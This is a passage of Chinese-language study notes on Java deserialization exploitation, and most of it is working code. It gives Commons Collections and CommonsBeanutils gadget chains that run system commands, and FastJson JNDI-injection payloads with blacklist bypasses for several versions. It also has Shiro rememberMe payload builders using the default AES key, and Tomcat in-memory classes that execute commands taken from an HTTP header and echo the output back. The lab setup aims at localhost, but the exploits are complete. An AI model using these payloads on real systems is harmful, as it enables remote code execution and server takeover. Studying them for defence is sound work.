clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);        construct.setAccessible(true);        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);        out(handler);    }    public static void CC_LazyMap(Transformer[] transformers) throws Exception {        /*            Gadget chain:                ObjectInputStream.readObject()                    AnnotationInvocationHandler.readObject()                        Map(Proxy).entrySet()                            AnnotationInvocationHandler.invoke()                                LazyMap.get()                                    ChainedTransformer.transform()                                        ConstantTransformer.transform()                                        InvokerTransformer.transform()                                            Method.invoke()                                                Class.getMethod()                                        InvokerTransformer.transform()                                            Method.invoke()                                                Runtime.getRuntime()                                        InvokerTransformer.transform()                                            Method.invoke()                                                Runtime.exec()            Requires:                commons-collections         */        Transformer transformerChain = new ChainedTransformer(transformers);        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);        construct.setAccessible(true);        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);        // AnnotationInvocationHandler实际上就是一个InvocationHandler        // 我们如果将这个对象用Proxy进行代理，那么在readObject的时候，只要调用任意方法，就会进入到 AnnotationInvocationHandler#invoke 方法中        // 进而触发我们的LazyMap#get,随后的利用链就和TransformedMap的一样了        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);        out(handler);    }    public static void out(InvocationHandler handler) throws Exception {        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(handler);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

注意代码注释，TransformedMap这条链在Java8后无法使用，因为反序列化所用到的AnnotationInvocationHandler被改写，LazyMap为改写后的利用方法

CommonCollections2

主要使用PriorityQueue来触发TransformingComparator.compare方法，然后触发ChainedTransformer.transform方法

然而后面有不依靠ChainedTransformer的新利用方法，主要是通过TemplatesImpl来动态加载字节码文件，然后需要newTransformer才能加载恶意类，就利用InvokerTransformer的transform反射触发

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.ibatis.javassist.ClassPool;import org.apache.ibatis.javassist.CtClass;import java.io.*;import java.util.Comparator;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;import static com.loader.Reflections.setFieldValue;public class CommonCollections2 {    public static void main(String[] args) throws Exception {        CC_PriorityQueue();    }    public static void CC_PriorityQueue() throws Exception {        Transformer[] fakeTransformers = new Transformer[] {                new ConstantTransformer(1)        };        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),                new ConstantTransformer(1),        };        Transformer transformerChain = new ChainedTransformer(fakeTransformers);        TransformingComparator comparator = new TransformingComparator(transformerChain);        PriorityQueue queue = new PriorityQueue(2, comparator);        queue.add(1);        queue.add(2);        setFieldValue(transformerChain, "iTransformers", transformers);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }    public static void CC_No_Transformer() throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        Transformer transformer = new InvokerTransformer("toString", null, null);        Comparator comparator = new TransformingComparator(transformer);        PriorityQueue queue = new PriorityQueue(2, comparator);        queue.add(obj);        queue.add(obj);        setFieldValue(transformer, "iMethodName", "newTransformer");        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

HelloTemplatesImpl.java代码，这里恶意必须继承AbstractTranslet，因为反序列化的时候defineTransletClasses函数会判断字节码转化的类是否继承自AbstractTranslet

package com.loader;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class HelloTemplatesImpl extends AbstractTranslet {    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}    public HelloTemplatesImpl() throws IOException {        super();        Runtime.getRuntime().exec("calc.exe");        System.out.println("Hello TemplatesImpl");    }}

CommonCollections3

这条链主要利用的是TiedMapEntry这个Map类，外加TemplatesImpl动态加载字节码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import org.apache.ibatis.javassist.ClassPool;import org.apache.ibatis.javassist.CtClass;import javax.xml.transform.Templates;import static com.loader.Reflections.setFieldValue;public class CommonCollections3 {    public static void main(String[] args) throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {clazz.toBytecode()});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        Transformer[] fakeTransformers = new Transformer[] {                new ConstantTransformer(1)        };        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })        };//        CC_LazyMap(fakeTransformers, transformers);        CC_No_Transformer();    }    public static void CC_TransformedMap(Transformer[] transformers) throws Exception {//        Transformer[] transformers = new Transformer[]{//                new ConstantTransformer(obj),//                new InvokerTransformer("newTransformer", null, null)//        };        Transformer transformerChain = new ChainedTransformer(transformers);        Map innerMap = new HashMap();        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);        outerMap.put("value", "xxxx");  // 手动put触发    }    public static void CC_LazyMap(Transformer[] fakeTransformers, Transformer[] transformers) throws Exception {//        Transformer[] fakeTransformers = new Transformer[] {//                new ConstantTransformer(1)//        };//        Transformer[] transformers = new Transformer[]{//                new ConstantTransformer(TrAXFilter.class),//                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })//        };        Transformer transformerChain = new ChainedTransformer(fakeTransformers);        HashMap innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");        HashMap expMap = new HashMap();        expMap.put(tme,"valuevalue");        outerMap.remove("keykey");        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");        f.setAccessible(true);        f.set(transformerChain,transformers);        out(expMap);    }    public static void CC_No_Transformer() throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        Transformer transformer = new InvokerTransformer("getClass", null, null);        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformer);        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        outerMap.clear();        setFieldValue(transformer, "iMethodName", "newTransformer");        // ==================        // 生成序列化字符串        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(expMap);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }    public static void out(HashMap handler) throws Exception {        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(handler);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

HelloTemplatesImpl类代码用的就是CC2的代码

CommonCollections6

TiedMapEntry链

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class CommonCollections6 {    public static void main(String[] args) throws Exception {        Transformer[] fakeTransformers = new Transformer[] {                new ConstantTransformer(1)        };        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),                new ConstantTransformer(1),        };        Transformer transformerChain = new ChainedTransformer(fakeTransformers);        HashMap innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");        HashMap expMap = new HashMap();        expMap.put(tme,"valuevalue");        outerMap.remove("keykey");        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");        f.setAccessible(true);        f.set(transformerChain,transformers);        out(expMap);    }    public static void out(HashMap handler) throws Exception {        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(handler);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

CommonsBeanutils

这条链主要就是BeanComparator这个类的利用了，涉及JavaBean的操作，通过BeanComparator.compare触发PropertyUtils.getProperty进行JavaBean操作，触发TemplatesImpl的getOutputProperties方法，然后newTransformer，之后就是TemplatesImpl动态加载字节码了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.ibatis.javassist.ClassPool;import org.apache.ibatis.javassist.CtClass;import java.io.*;import java.util.PriorityQueue;import static com.loader.Reflections.setFieldValue;public class CommonsBeanutils {    public static void main(String[] args) throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {clazz.toBytecode()});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        queue.add("1");        queue.add("1");        setFieldValue(comparator, "property", "outputProperties");        setFieldValue(queue, "queue", new Object[]{obj, obj});        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

FastJson

DNSLOG

判断是否存在FastJson反序列化漏洞

{"xxx":{"@type":"java.net.Inet4Address","val":"l42dtg.dnslog.cn"}}

1.2.24

实际上利用的是lookup函数来进行JNDI注入

编写一个恶意类Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet {    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }    public Evil() throws IOException {        Runtime.getRuntime().exec("calc.exe");    }}

javac编译成class文件，然后python -m http.server起一个http服务来供RMI服务来加载恶意类，使用marshalsec这个工具来起一个RMI服务

项目地址：https://github.com/mbechler/marshalsec

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Evil

然后漏洞触发代码

package com.FastJson_1_2_24;import com.alibaba.fastjson.JSON;import com.sun.rowset.JdbcRowSetImpl;public class Rmi_Poc {    public static void main(String[] args) {        String PoC = "{\"xxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/calc\", \"autoCommit\":true}}";        JSON.parse(PoC);    }}

• @type： 指定恶意利用类 com.sun.rowset.JdbcRowSetImpl
• dataSourceName ：指定RMI / LDAP 恶意服务器，并调用setDataSourceName 函数
• autoCommit：调用 setAutoCommit 函数

1.2.25-1.2.41

{"xxx":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1099/calc", "autoCommit":true}}

问题出在TypeUtils.loadClass,如果类名以L开头;结尾，就会删除掉开头和结尾得到新的类名，以新类名作为参数递归调用loadClass函数，最终加载JdbcRowSetImpl并返回，后续利用过程同上

1.2.42

绕过方式为类名开头两个L，结尾两个;，这样删除一次开头结尾后的类名为Lcom.sun.rowset.JdbcRowSetImpl;，不会触发黑名单。

{"xxx":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1099/calc", "autoCommit":true}}

1.2.43

{"xxx":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://127.0.0.1:1099/calc", "autoCommit":true}}

1.2.44-1.2.45

有限制，需要使用MyBatis

{"xxx":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/Exploit"}}}

1.2.46-1.2.47

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}

目前分析到这，后面再加

Shiro

shiro反序列化漏洞这个问题主要出在rememberMe这个cookie参数，是一个记住我的功能，用户登陆成功后会生成经过加密并编码的cookie，在服务端接收cookie值后，Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化–>AES加密–>Base64编码，然后将其作为cookie的rememberMe字段发送，Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。

起一个shiro tomcat，代码都在这：https://github.com/phith0n/JavaThings

先写个恶意类Evil.java

package com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}    public Evil() throws Exception {        super();        System.out.println("Hello TemplatesImpl");        Runtime.getRuntime().exec("calc.exe");    }}

CommonsCollectionsShiro

用的CC链触发，需要构造不含数组的反序列化Gadget

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollectionsShiro {    public static void main(String []args) throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());        AesCipherService aes = new AesCipherService();        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");        ByteSource ciphertext = aes.encrypt(payloads, key);        System.out.printf(ciphertext.toString());    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public byte[] getPayload(byte[] clazzBytes) throws Exception {        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        Transformer transformer = new InvokerTransformer("getClass", null, null);        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformer);        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        outerMap.clear();        setFieldValue(transformer, "iMethodName", "newTransformer");        // ==================        // 生成序列化字符串        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(expMap);        oos.close();        return barr.toByteArray();    }}

CommonsBeanutilsShiro

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsBeanutilsShiro {    public static void main(String []args) throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(tomcat89Shiro.class.getName());        byte[] payloads = new CommonsBeanutilsShiro().getPayload(clazz.toBytecode());        AesCipherService aes = new AesCipherService();        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");        ByteSource ciphertext = aes.encrypt(payloads, key);        System.out.printf(ciphertext.toString());    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public byte[] getPayload(byte[] clazzBytes) throws Exception {        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        // stub data for replacement later        queue.add("1");        queue.add("1");        setFieldValue(comparator, "property", "outputProperties");        setFieldValue(queue, "queue", new Object[]{obj, obj});        // ==================        // 生成序列化字符串        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        return barr.toByteArray();    }}

Tomcat7回显

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.tomcat.util.buf.ByteChunk;import java.lang.reflect.Field;import java.util.ArrayList;import java.io.*;import org.apache.coyote.Request;public class tomcat7Shiro extends AbstractTranslet {    public tomcat7Shiro(){        try {            ThreadGroup group = Thread.currentThread().getThreadGroup();            Field field = group.getClass().getDeclaredField("threads");            field.setAccessible(true);            Thread[] threads = (Thread[]) field.get(group);            for(Thread thread:threads){                String name = thread.getName();                if(name.contains("http") && name.contains("Acceptor")){                    field = thread.getClass().getDeclaredField("target");                    field.setAccessible(true);                    Object obj = field.get(thread);                    field = obj.getClass().getDeclaredField("this$0");                    field.setAccessible(true);                    obj = field.get(obj);                    field = obj.getClass().getDeclaredField("handler");                    field.setAccessible(true);                    obj = field.get(obj);                    field = obj.getClass().getSuperclass().getDeclaredField("global");                    field.setAccessible(true);                    obj = field.get(obj);                    field = obj.getClass().getDeclaredField("processors");                    field.setAccessible(true);                    obj = field.get(obj);                    ArrayList processors = (ArrayList) obj;                    for(int m=0;m<processors.size();m++){                        Object o = processors.get(m);                        if(o != null && o.getClass().toString().contains("RequestInfo")){                            field = o.getClass().getDeclaredField("req");                            field.setAccessible(true);                            obj = field.get(o);                            if(!obj.toString().contains("null")) {                                Request request = (Request) obj;                                String cmd = request.getHeader("cmd");                                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();                                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();                                byte[] buff = new byte[1024];                                int rc = 0;                                while ((rc = in.read(buff, 0, 1024)) > 0) {                                    byteArrayOutputStream.write(buff, 0, rc);                                }                                byte[] buf = byteArrayOutputStream.toByteArray();                                ByteChunk bc = new ByteChunk();                                bc.setBytes(buf, 0, buf.length);                                request.getResponse().doWrite(bc);                            }                        }                    }                }            }        }catch (Exception e){            e.printStackTrace();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

Tomcat8/9回显

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Field;import java.nio.ByteBuffer;import java.util.ArrayList;import org.apache.coyote.Request;import java.io.*;public class tomcat89Shiro extends AbstractTranslet {    public tomcat89Shiro(){        try {            ThreadGroup group = Thread.currentThread().getThreadGroup();            Field field = group.getClass().getDeclaredField("threads");            field.setAccessible(true);            Thread[] threads = (Thread[]) field.get(group);            for(Thread thread:threads){                String name = thread.getName();                if(name.contains("http") && name.contains("Poller")){                    field = thread.getClass().getDeclaredField("target");                    field.setAccessible(true);                    Object obj = field.get(thread);                    field = obj.getClass().getDeclaredField("this$0");                    field.setAccessible(true);                    obj = field.get(obj);                    field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");                    field.setAccessible(true);                    obj = field.get(obj);                    field = obj.getClass().getDeclaredField("global");                    field.setAccessible(true);                    obj = field.get(obj);                    field = obj.getClass().getDeclaredField("processors");                    field.setAccessible(true);                    obj = field.get(obj);                    ArrayList processors = (ArrayList) obj;                    for(int m=0;m<processors.size();m++){                        Object o = processors.get(m);                        if(o != null && o.getClass().toString().contains("RequestInfo")){                            field = o.getClass().getDeclaredField("req");                            field.setAccessible(true);                            obj = field.get(o);                            if(!obj.toString().contains("null")) {                                Request request = (Request) obj;                                String cmd = request.getHeader("cmd");                                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();                                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();                                byte[] buff = new byte[1024];                                int rc = 0;                                while ((rc = in.read(buff, 0, 1024)) > 0) {                                    byteArrayOutputStream.write(buff, 0, rc);                                }                                byte[] buf = byteArrayOutputStream.toByteArray();                                request.getResponse().doWrite(ByteBuffer.wrap(buf));                            }                        }                    }                }            }        }catch (Exception e){            e.printStackTrace();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}